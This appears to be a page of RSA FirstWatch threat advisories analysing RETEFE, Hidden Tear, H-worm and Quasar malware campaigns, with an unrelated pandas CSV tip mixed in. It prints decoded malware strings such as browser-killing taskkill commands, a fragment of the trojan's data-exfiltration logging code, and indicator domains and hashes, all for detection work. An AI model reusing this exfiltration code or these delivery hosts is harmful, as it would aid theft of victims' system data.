Banners in post infection traffic are identified DrakComet RAT banners. VirusToatal Analysis of the payload, “gd.exe”, and Analysis of post infection traffic confirms that it is DarkComet, a Remote Access Trojan (RAT).

 

Current RSA NetWitness detection populates following meta for the download sessions:

 

Current RSA NetWitness detection populates following meta for Post Infection traffic:

 

Thanks go to Ahmed Sonbol and Kevin Stear for contributing to this threat advisory.

 

During the first week of October 2017, RSA FirstWatch identified a Malspam campaign targeting Swiss industry with malicious MS Word documents carrying the RETEFE Banking Trojan.

 

Much of Europe has been routinely targeted by these actors for the last several months, and there is little sign of the RETEFE campaign letting up, as evident in numerous VirusTotal submissions of recent dropper documents:

 

 

These dropper hashes are all German language MS Word docs with varying properties are essentially the same W97M/Downloader, where malicious code is located in identical VBA macros.  And upon submitting one of the MS Word delivery document to RSA's pre-release WhatsThisFile service, we are immediately greeted with a threat score of 100.  (Note:  The underlying VBA code streams in each of these Office documents are identical.  The malware author attempted to avoid detection by changing file properties (e.g., Author) on each of the documents.  This resulted in unique file hashes for each document, but, the resulting codeset remained the same). 

 

 

 

Below are snapshots from our Cuckoo detonation (of one of the dropper documents) and the corresponding network traffic as seen by RSA NetWitness, both of which we'll walk through to show how the malicious code delivers a successful RETEFE infection.  (Note: the entire PCAP from our sandbox is available at GitHub - netwitness/retefe: retefe banking trojan.) 

 

  

As the document is first opened, embedded VBA code is automatically run via a Document_Open()subroutine contained in the ThisDocument VBA Stream as shown below.

 

 

The Document_Open() subroutine begins a long series of de-obfuscation steps which ultimately yields a base-64 encoded payload as shown below.  

 

 

This payload is base-64 decoded in order to obtain the second stage of the dropper attack as shown pasted below.

 

 

This stage of the attack utilizes PowerShell to launch a hidden window, which attempts to download malware from each of 5 sites specified in the payload.  This payload is launched via the VBA.Shell() command in the f9TZtz1 VBA code stream as shown in the following two WTF screen shots.

 

 

NetWitness Endpoint (as shown in the steps and annotated in the graphic below) easily follows this behavior. 

1. This begins the launching of the doc file from Internet Explorer which calls Microsoft Word.

2. Once ‘Enable Content’ is clicked, WINWORD.exe calls powershell to retrieve content from a few different websites and save as 65536.exe.

3. Powershell creates a process with the downloaded content as 65536.exe

4. The exe then calls wscript to launch a javascript file from an extracted RAR archive file.

5. Next wscript is writing a ps1 (powershell) script.

6. Wscript then calls powershell to launch the newly created VHSjWECxz.ps1 file. We also see powershell writing the 7za.exe file.

 

 

NetWitness Packets observes the first four download attempts fail (via 404) and catches the successful download of 'wluheol.exe', the actual RETEFE payload, from thomasamericalatina[.]net hosted at 190.0.230[.]91, under a Costa Rican based domain name and web-hosting service, Cyberfuel[.]com.

 

Below is a Maltego snapshot of the numerous attempted (failed and successful) RETEFE delivery domains with some basic passive DNS enrichment.

 

 
With regard to the 'wluheol.exe' payload (locally stored as 65536.exe), WTF shows us some interesting things are going on here (e.g., 'missing file properties' and a 'major linker version does not match fingerprint'), but a more thorough analysis of the payload is warranted.
 
 
Now this gets interesting, at the end of 'wluheol.exe' (correct offset and length determined by WTF) payload is a PKZIP file, which once unzipped reveals a Javascript payload that is run by the EXE as the last stage of the infection.
 
This Javascript is HEAVILY OBFUSCATED and requires many rounds of decoding (e.g., js-1.js -> js-decoded.js  -> js-decoded-2.js -> js-decoded-3.js -> js-decoded-4.js and each of these are payloads that get run), but reveals numerous artifacts that confirm (as detailed in the previous Proofpoint analysis) this is in fact the RETEF banking trojan.  For example, lines like this: 
 

Base64.decode("SEtDVVxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxJbnRlcm5ldCBTZXR0aW5nc1xBdXRvRGV0ZWN0”)

 

Decodes to this fun registry key:

 

HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoDetect

Here are some other strings that are base64 encoded in the payload:

 

SEtDVVxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxJbnRlcm5ldCBTZXR0aW5nc1xBdXRvQ29uZmlnVVJM: 

HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL

 

XHByZWZzLmpz

\prefs.js

 

dGFza2tpbGwgL0Y

taskkill /F

 

dGFza2tpbGwgL0YgL2ltIGZpcmVmb3guZXhl

taskkill /F /im firefox.exe

 

dGFza2tpbGwgL0YgL2ltIGNocm9tZS5leGU

taskkill /F /im chrome.exe

 

The largest of all base64 payloads is in the last sequenced file in the zip (js-decoded-4.js), which contains the base64 decoded blob found in stage 3 (js-decoded-3.js).  It is also ripe with artifacts, but is too big to paste here.  A zip (password 'infected') of all the decoded payloads has been posted to FirstWatch's public github repo at GitHub - netwitness/retefe: retefe banking trojan

 

During the execution of the malware (as described above), we begin to see some known characteristics and behaviors associated with RETEFE.  The download of Tor and socat are our first keys.

 

 

Tor with socat (acting as a proxy) is quickly put to use as the malware establishes command and control (c2) via a number of tor relays, as observed in the highlighted traffic below over ports 9001 and 443.

  

 

 

Again NetWitness Endpoint demonstrates its utility here (as annotated in the steps and graphic below).

8. Powershell is called upon again which launches cmd.exe. This time, it runs bitsadmin to download the TOR client.

9. EXE is called upon to extract the downloaded TOR content into the "C:\Users\analyst\AppData\Roaming\Identities" directory.

10. Next, mshta.exe is called to launch the TOR process.

11. We next see 7za.exe extracting more content into the “Identities” directory after another powershell script was run.

12. Here, we can see the malicious code launch ‘socat.exe’ and started a SOCKS tunnel to a TOR node on ports 5555 and 5588.  It also stopped any running Chrome, Firefox or Internet Explorer browsers.

 

 

In addition the the Tor connections, the malware also employs an alternative exfiltration method via FTP to a server hosted on world4you[.]com.  SALES05.log is the exfiltrated file, whose name is based on the infected machine, in this case ‘SALES05’.

 

 

This exfiltration is done via the J/S payload in the Zip file at the end of wluheol.exe', where there are several lines of code in the last J/S file that provide some insight into exactly what's being exfiltrated in this log file.  

 

   LogWrite("OS info: {0}" -f $wininfo -join ");
   
   LogWrite("Powershell version: {0}" -f $version);
   
   $pac=Get-ItemProperty 'hkcu:\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\'|Select -expand AutoConfigURL -ErrorAction Stop;
   LogWrite("Pac setted: '$pac'”);
   
   LogWrite("Certs installed: '{0}'" -f ($Certs -join "; "));
   
   LogWrite("Proccess list:`n{0}" -f ($proc -join "`n"));
   
   LogWrite("List dir [{0}]: {1}" -f ($DestTP, (($dirs|Select -expand Name) -join "; ")));
   
   LogWrite("Av installed: '{0}'" -f ($avlist -join "; "));
   

 

It is believed that the actors are/were leveraging the below compromised site to access this FTP exfiltration.

    

  

As the infection persists over the course of many hours, we also observed heavy periodic beaconing in NetWitness Packets.

  

  

Thanks to Christopher Ahearn, Kent Backmankevin.douglas2@rsa.com, and Ahmed Sonbol for their contributions to this research.  All related Indicators of Compromise (IOCs) have been added to the FirstWatch C2 Domain and C2 IPs feeds and are available in RSA Live.

 

Dropper hashes:

81d6b13c178a8b6663c5a302dc6101ebd02308671871e14709735dc802a8d70c

be222bd7e1aab102fb61b0e7df6515fe5fda14cbaeec8c54f24cef8a627a3f21

7324ac1858c8ffa67f6e4c57190f50eb36af5b8ceb9d1e47bbc0a8a871c7c62c

 

RETEFE Delivery domains:

drivinrain[.]co.uk  

tulomontas[.]com

apeshitcartoon[.]com

uebersetzung-deutsch-italienisch[.]at

thomasamericalatina[.]net

 

RETEFE Payload hash:

e8d3cb6f5eb1c060475c89d3f96c93d297f69b3e3f81d2eef8bdcef58ee1807a

 

RETEFE C2 domains (Tor relays):

www.wyg6kftu4xtxcmfpzbzpvfs[.]com

www.n7yuwe7y7jmjpdi7ggg3hb6h[.]com

www.v3b22j6gtewashrax4u6vce2v[.]com

www.4mdq6uae2f[.]com

www.vxe7n3trpb3f[.]com

www.ylo27e5j77op5[.]com

www.4c65hhp6yy6z[.]com

  

Alternative exfil domain:

ftp10.world4you.com

 

A new malspam campaign has been observed on October 6th 2017 spreading DoublePulsar via EternalBlue exploit, and Hidden Tear ransomware. Based on the delivery documents and ransom notes, the campaign looks to be targeting German speaking users.

 

EternalBlue exploits a vulnerability in the way Microsoft Server Message Block 1.0 (SMBv1) server handles certain requests giving the attacker an opportunity to execute code on the target server [1]. Microsoft has issued a patch for the vulnerability back in March 2017 but the exploit was used as part of the WannaCry ransomware attack in May 2017 and NotPetya attack in June 2017. DoublePulsar is a backdoor implant that was used alongside EternalBlue. Hidden Tear is an open source ransomware family. Malware authors have built different variants on top of its code base that vary from each other in different ways such as the payment methods, the encryption techniques and which files to consider for encryption [2].

 

The delivery document (PRELIMINARY_KAPSCH_SECURITY_NIGHT_2017_WORD_DROPPER.doc) uses a macro to drop the malicious payload to the victim machine:

 

 

Submitting the delivery document to RSA pre-release What's This File service shows the following malicious characteristics including the auto-launch script to download a payload from a domain over SSL: 

 

 

 

 

The powershell script (launcher.ps1.txt) has the capability of mapping the victim network:

 

 

It can also download a zipped filed 'EB_LAUNCHER.zip' and extracts it on the victim machine:

 

 

The request to download 'EB_LAUNCHER.zip' was observed in NetWitness Packets:

 

 

 

 

Finally, the script proceeds to deliver:

 

 

First, it tries to run a powershell script (Execute-EB-Launcher.ps1) to attempt to infect machines in the network that could be vulnerable to EternalBlue exploit and to implant DoublePulsar in case the attempt was successful:

 

 

In this scenario, no neighbor machines were compromised. The malicious powershell script (launcher.ps1.txt) finally downloads and launches a Hidden Tear variant:

 

 

 

 

Upon execution, the malware encrypts the victim files and presents the following ransom note:

 

 

Post-infection traffic is over SSL:

 

 

The payment websites were down at the time of this writing.

 

Delivery documents (SHA256):

  • 8ad3c6df4a96b97279e50a39fe4c2662d8da7699c54cb2582a5c0ae7ae358334
  • 4592803dfdd47c4bfffad037695d3be4566c38ad46132e55c5679c7eb6f029da

EB_LAUNCHER.zip (SHA256):

  • 22a3a1c609b678b5eed59b48eed47513996998ab99841773d5b0f316fc9e7528

Hidden Tear ransomware (SHA256):

  • bf9d54c7b894065d6f3ac59da093241ee0c0c545a323c9d8ae8c8f8a9b14d591

 

References:

  1. https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0144 
  2. Ransomware Recap: The Ongoing Development of Hidden Tear Variants - Security News - Trend Micro USA

 

On October 3rd, 2017 malspam delivered a malicious MS Word document containing obfuscated VBA code, which acts as Trojan Downloader with known signature “W97M”.  

 

Submitting the delivery document to RSA's pre-release What’s This File service returns a 100 threat score.

 

If a user enables the embedded macro, VBA code runs to initiate a cmd process, which executes PowerShell to download and execute a Visual Basic Script (VBS) payload from known malicious domain “a[.]pomf[.]cat”.

 

PowerShell then calls a WScript shell to connect to a domain via WebClient object and download and silently execute its payload.  While the follow-on network activity is SSL encrypted, captured network activity (prior to encryption) shows the HTTP request for the initial VBS payload.

 

Analysis of dropped files and post infection traffic both confirm that the payload is H-worm, a Remote Access Trojan (RAT).  H-worm is a VBS based RAT written by an individual going by the name Houdini.  It shares same code base with njw0rm and njRAT/LV, and has in years past been previously seen targeting the energy industry. Common delivery mechanisms include spam email attachments and malicious links.

 

Once the download is complete, the binary is executed and post-infection traffic started.

 

RSA NetWitness evaluation of network traffic shows the malware exfiltrating information via the User-Agent field in the HTTP Header, specifically:

    {DiskVolumeSerial}<|>{Hostname}<|>{Username}<|>{OS}<|>plus<|>{AVProductInstalled or nan-av}<|>{USBSpread: true or false} - {CurrentSystemDate}

 

 

Current RSA NetWitness detection populates the following meta for the post infection traffic:

 

Thanks go to Ahmed Sonbol and Kevin Stear for contributing to this threat advisory.

 

 

There is an Out-of-the-Box (OOTB) Identity feed which can be configured to create a recurring feed using Active Directory logs. This feed provides added context to packet and log data for users in the environment.  The source ip (ip.src) is matched and the meta values below are added to the session.

  • User name
  • Domain
  • Workstation

This feed works great but it only works for Active Directory logs.  

 

In the blog below I will show you how you can create custom feeds using other log event sources.

 

A simple yet effective option to create a custom feed is to create a report using the Reporting Engine and exporting it as a .csv into a folder so that it can be accessed periodically by a recurring feed.  This process is documented very well in the following discussion post:  https://community.rsa.com/message/868752

 

However, if the logs are continuously coming in then there is a good chance that you will see duplicate and obsolete entries in your .csv and applying that as a feed might not be your best option.  To resolve this, the .csv would require additional processing to remove the obsolete entries. 

 

For example, let's say that for some reason I wanted to create a feed based on incoming DHCP logs. Once I create a .csv for the last <x> hours, I would then have to apply additional logic to only keep the latest entries in the .csv and remove all of the old ones.

 

Since custom feeds (based on logs) can grow very large depending on the requirement, removing duplicates can be challenging especially when you have multiple columns in the .csv. In my case I had to remove duplicates from a .csv file with 300k rows and 5 columns so I needed to be mindful about system performance and I had to consider what to use for a dedup - list, maps, sets, file comparisons, etc.

 

That's when I came across Python Pandas library which solved this problem for me. Using this library I was able to dedup the .csv file to keep only latest entries in under 2 seconds with a simple set of code.

 

Below are the steps I took:

I used the nwsdk_csv.py script to collect the meta keys shown below (with a where clause) from a concentrator/broker:

  • event.time
  • ip.src
  • eth.src
  • host.src
  • event.desc

 

My output .csv looked something like this:

dhcp csv

 

The next step is to reduce the .csv to keep only the latest ip.src entries where latest is identified by event.time timestamp. This is where I used pandas and this single line code to do everything under 2 seconds:

import pandas as pd
pd.read_csv(filename).sort_values('event.time',ascending=True).drop_duplicates('ip.src', keep='last').drop(['event.time','count'],axis=1).to_csv(outfile,header=None,index=False)

 

So what’s happening in above code?

  1. Reading the file as .csv (using .csv file headers)
  2. Sorting the file on event.time
  3. Dropping duplicates for same ip.src by keeping only last entry (sorted latest)
  4. Dropping event.time and count columns from file
  5. Removing the header and writing to final output file named 'outfile'

 

Outfile then can be picked up by a recurring feed. Since this dedup is extremely fast you can have a very short interval on the recurring feed as long as there is no negative impact on your concentrator for running the query.

 

For any type of .csv manipulation, pandas library is an excellent and extremely fast option. Here is a cheat sheet that you can use as a guide.

 

If you have any feedback on the steps I took above, please do let me know.  I welcome your comments and would love to hear how this works for you.

 

Thanks

Ankush

 

Notes:

1) I used nwsdk_csv.py script and not the default reporting engine option since I wanted to avoid reporting engine overhead. Also nwsdk_csv.py provides an option to keep headers which was useful while processing the file using pandas

2) nwsdk_csv.py script groups rows and puts a count as last column. I havent shown in above snapshot

3) Pandas does not work with python 2.6.6, you need python 2.7 +

On September 27th, malspam delivered a malicious RTF document that tries to exploit Microsoft Office/WordPad via a Remote Code Execution (RCE) Vulnerability in the Windows API, CVE-2017-0199.

VirusTotal Analysis of delivered document confirms presence of RTF exploit.

 

After opening the document in a vulnerable Microsoft Word application, users are warned that the document is attempting to download externally linked files.

 

Upon clicking "Yes", and a direct to IP connection to 173.44.42[.]164 is established and the following network events take place.

  

As shown above, "3Pxi69djmwiIKmc.hta" (VirusTotal and Hybrid-Analysis) was the first download.  This file creates two XMLHTTP objects using VBScript which helps to connect and download VBS file which acts as Trojan Downloader.  It also creates Shell object to execute HTA file as Internet Explorer Application.

 

Next, a VBS script, "Km1Dizoq3Jxz.vbs", (VirusTotal  and Hybrid Analysis) uses obfuscated code to create paths from which executable “UvnG1Oz9d0.exe” is downloaded and executed.

 

In the same session, "nJwsm39La.html” then deletes both the VBS and executable file.

 

VirusToatal Analysis of the payload, “UvnG1Oz9d0.exe”, (VirusTotal  and Hybrid-Analysis) confirms that it is Quasar Spyware, a Remote Access Trojan (RAT).

 

Once the download is complete, the binary is executed and post-infection traffic started.

 

Current RSA NetWitness detection populates following meta for the download sessions:

 

You can also check FirstWatch recent threat advisory on the recent uptick in malspam attempting to exploit CVE-2017-0199, Malspam and CVE-2017-0199

 

Thanks go to Ahmed Sonbol and Kevin Stear for contributing to this threat advisory.

 

Filter Blog

By date: By tag: